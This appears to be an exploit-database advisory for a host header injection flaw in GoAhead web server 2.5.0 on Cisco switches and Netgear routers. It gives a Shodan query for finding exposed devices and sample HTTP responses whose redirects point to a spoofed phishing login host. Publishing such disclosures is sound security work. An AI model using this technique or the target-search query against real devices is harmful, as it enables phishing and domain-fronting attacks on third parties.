Exploits / Vulnerability Discovered : 2019-09-30 |
Type : remote |
Platform : multiple
This exploit / vulnerability Goahead 2.5.0 host header injection is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: GoAhead Web server HTTP Header Injection.
# Shodan Query: Server: Goahead
# Discovered Date: 05/07/2019
# Exploit Author: Ramikan
# Vendor Homepage: https://www.embedthis.com/goahead/
# Affected Version: 2.5.0 may be others.
# Tested On Version: 2.5.0 in Cisco Switches and Net Gear routers.
# Vendor Fix: N/A
# CVE : N/A
# CVSS v3: N/A
# Category: Hardware, Web Apps
# Reference : www.fact-in-hack.blogspot.com
Vulnerability: Host Header Injection
A Host Header Injection vulnerability may allow an attacker to spoof a particular Host header, allowing the attacker to render arbitrary links that point to a malicious website with poisoned Host header webpages.
An issue was discovered in GoAhead web server version 2.5.0 (may be affected on other versions too). The values of the 'Host' headers are implicitly set as trusted while this should be forbidden, leading to potential host header injection attack and also the affected hosts can be used for domain fronting. This means affected hosts can be used by attackers to hide behind during various other attack
PS: Affected on most of embedded webservers on hardware such as switches, routers, IOT and IP cameras.
<html><head></head><body>
This document has moved to a new <a href="https://myevilwebsite.com/login.asp">location</a>.
Please update your documents to reflect the new location.
</body></html>
HTTP/1.1 302 Redirect
Server: GoAhead-Webs
Date: Sat Oct 14 19:04:59 2006
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://google.com:443/config/accessnotallowedpage.htm
<html><head></head><body>
This document has moved to a new <a href="http://google.com:443/config/accessnotallowedpage.htm">location</a>.
Please update your documents to reflect the new location.
</body></html>
Potentially affected Part of the source code in GoAhead web server is in the ’http.c’ file, which contains 'host' parameter.
https://github.com/embedthis/goahead/blob/master/src/http.c